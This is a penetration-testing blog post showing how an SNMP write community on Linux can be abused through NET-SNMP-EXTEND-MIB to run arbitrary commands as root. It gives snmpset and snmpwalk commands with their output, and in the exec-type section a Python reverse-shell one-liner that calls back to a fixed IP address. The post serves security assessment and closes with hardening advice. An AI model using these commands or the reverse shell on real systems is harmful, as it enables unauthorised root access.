(Ab)using Linux SNMP for RCE

How to use a SNMP write community to gain (remote) code execution as root on Linux systems

TL:DR: If you have a SNMP community with write permissions on a Linux target, you can archive code execution by abusing the NET-SNMP-EXTEND-MIB extension. The SNMP daemon is running as root, which makes this also a nice local privilege escalation vector.

We recently used this feature to gain root permissions during an assessment. As the Linux systems has been analyzed several times before, we assume that this issue is not common knowledge among other penetration testers. As so often, we are not the first to discover this, in fact there already exists a write-up by Kert Ojasoo. In this blog post, we try to give the technical background and how this configuration can be efficiently exploited.

We assume that the reader has basic knowledge about the SNMP protocol and common SNMP-related attacks such as “public” community strings. Therefore we only cover the relevant parts here.

SNMP MIBs

The term “MIB” stands for “Management Information Base”. A MIB file defines all data objects provided by a particular component. MIBs basically acts as a code book for SNMP as they describe what can be accessed via SNMP and the datatypes returned by the component.

A MIB is described in a text file, using a notation defined by Structure of Management Information Version 2.0 . This text file can be used by an MIB compiler. You can review the MIBs that are supported by the net-snmp package to get an idea how they look like.

The MIB file also defines the OIDs (an ID to access the asset, similar to an IP address). You can use the “snmptranslate” command to do get the OID for an item defined in the MIB:

[lowpriv@centos6 ~]$ snmptranslate -On SNMPv2-MIB::system.sysUpTime.0
.1.3.6.1.2.1.1.3.0

As an SNMP Manager (for example when using snmpwalk) you don’t really need the MIB as you can access a value at any time via the OID. However, a MIB helps you to understand SNMP replys that you have received from your network devices.

Extending SNMP services

The SNMP service can be extended in multiple ways, one possibility are the functions provided by the MIB “NET-SNMP-EXTEND-MIB”. From the RedHat Linux Documentation:

The Net-SNMP Agent provides an extension MIB (NET-SNMP-EXTEND-MIB) that can be used to query arbitrary shell scripts. To specify the shell script to run, use the extend directive in the /etc/snmp/snmpd.conf file. Once defined, the Agent will provide the exit code and any output of the command over SNMP.

So, by invoking the NET-SNMP-EXTEND-MIB over SNMP, it is possible to call arbitrary scripts/executables on the server. As the SNMP service is running as root, the script will be executedwith full permissions.

Here a small example script that we will call via SNMP:

#!/bin/sh

who=`whoami`

echo "Executed via SNMP, running as $who"
echo "First argument: $1"

The format of the extend command in the snmpd.conf is as follow:

extend name prog args

Example:

extend mogwai_labs /bin/snmpscript.sh test123

You need to restart the SNMP service to reload the modified configuration. After that, we can get the output of the extension via snmpwalk, querying the NET-SNMP-EXTEND-MIB MIB. The default output of snmpwalk does not contain this information by default.

[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."mogwai_labs" = STRING: /bin/snmpscript.sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."mogwai_labs" = STRING: test123
NET-SNMP-EXTEND-MIB::nsExtendInput."mogwai_labs" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."mogwai_labs" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."mogwai_labs" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."mogwai_labs" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."mogwai_labs" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."mogwai_labs" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."mogwai_labs" = STRING: Executed via SNMP, running as root
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."mogwai_labs" = STRING: Executed via SNMP, running as root
First argument: test123
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."mogwai_labs" = INTEGER: 2
NET-SNMP-EXTEND-MIB::nsExtendResult."mogwai_labs" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."mogwai_labs".1 = STRING: Executed via SNMP, running as root
NET-SNMP-EXTEND-MIB::nsExtendOutLine."mogwai_labs".2 = STRING: First argument: test123

As you can see, the script is executed as root and we can get the full output from the console. Be aware that the output from snmpwalk might be a bit misleading here, you are actually looking at the “nsExtendObjects” table which currently has a single row.

Abusing NET-SNMP-EXTEND-MIB

If you read the RedHat or net-snmp documentation, you might think that you can only extend the SNMP service by changing the configuration file. However, this is not entirely true. While you are not able to modify existing entries that were configured in snmpd.conf, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “read-create”, and also supported by the source. This allows you to define and execute arbitrary commands via SNMP (if you have the necessary permissions, for example with a rw-community string).

Adding a new command basically works by appending an additional row to the “nsExtendObjects” table. Unlike SQL, SNMP does not have an INSERT statement, however this works by setting the “nsExtendStatus” property to the value “createAndGo”:

Here is an example how this can be done with the “snmpset” command. NET-SNMP-EXTEND-MIB requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable:

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendStatus."evilcommand"'  = createAndGo \
    'nsExtendCommand."evilcommand"' = /bin/echo \
    'nsExtendArgs."evilcommand"'    = 'hello world'

After that, you can access your new command with snmpwalk, equally the command that was configured in the snmpd configuration file:

[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost nsExtendObjects | grep "evilcommand"
NET-SNMP-EXTEND-MIB::nsExtendCommand."evilcommand" = STRING: /bin/echo
NET-SNMP-EXTEND-MIB::nsExtendArgs."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendInput."evilcommand" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."evilcommand" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."evilcommand" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."evilcommand" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."evilcommand" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."evilcommand" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."evilcommand" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."evilcommand" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."evilcommand".1 = STRING: hello world

Unlike the hardcoded command in the snmpd config, it is possible to change the values of our new entry afterwards. This allows you to change arguments or the path to the script/executable itself:

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendArgs."evilcommand"'    = 'modified argument'

After we are done, we can delete the row by setting the nsExtendSatus to “destroy”, similar to a SQL DELETE statement.

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendStatus."evilcommand"'  = destroy

NsExtendExecType

NET-SNMP-EXTEND-MIB differs between the execution of scripts and binaries. Scripts will be passed to the “system()” call, while binaries are executed via execve(). This setting is controlled through “NsExtendExecType”, the MIB definition lists two possible values here:

nsExtendExecType OBJECT-TYPE
    SYNTAX      INTEGER
               { exec  (1), -- 'fork-and-exec'
                 shell (2)  -- run via a sub-shell
               }

Most of the time, using the nsExtendExecType “exec” (1) should work for you. If you are the “shell” variant (2) keep in mind that net-snmp already uses pipes to redirect the in-/output, therefore your common reverse shell bash one-line won’t work. However, the Perl/Python Reverse Shells work just fine.

Here an example how to get a reverse shell via with Python:

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendStatus."evilcommand"'  = createAndGo \
    'nsExtendCommand."evilcommand"' = /usr/bin/python \
    'nsExtendArgs."evilcommand"'    = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.239.210\",8888));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

UCD-SNMP-MIB

The net-snmp package also provides support for the “ucdavis” MIB UCD-SNMP-MIB. Like NET-SNMP-EXTEND-MIB, it provides an (“extTable”) table that allows you to get access to the output of external scripts. These scripts/executables are defined in the snmpd.conf with the “exec” call, similar to the “extend” version.

exec echotest /bin/echo hello world

You can invoke the output by calling the UCD-SNMP-MIB::extTable (OID .1.3.6.1.4.1.2021.8)

[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost UCD-SNMP-MIB::extTable
UCD-SNMP-MIB::extIndex.1 = INTEGER: 1
UCD-SNMP-MIB::extNames.1 = STRING: echotest
UCD-SNMP-MIB::extCommand.1 = STRING: /bin/echo hello world
UCD-SNMP-MIB::extResult.1 = INTEGER: 0
UCD-SNMP-MIB::extOutput.1 = STRING: hello world
UCD-SNMP-MIB::extErrFix.1 = INTEGER: noError(0)
UCD-SNMP-MIB::extErrFixCmd.1 = STRING:

Unlike the NET-SNMP-EXTEND-MIB table, this table/object is not writeable, therefore this extension can’t be exploited.

Conclusion

Having an SNMP user/community with write permissions on a Linux target allows you to execute arbitrary code on that system as “root”. SNMP is rarely used in Linux environments to configure system settings (especially when using dedicated tools like Puppet or Ansible). However, if in place, they provide a great opportunity to get reliable code execution with root permissions.

The SNMP configuration file (/etc/snmpd.conf) should only be readable by root, however we had several security reviews were this file was world-readable. Be sure to check the permissions of this file and the configured user/community strings on your next assessment.


Thanks to Michał Parzuchowski on Unsplash for the title picture.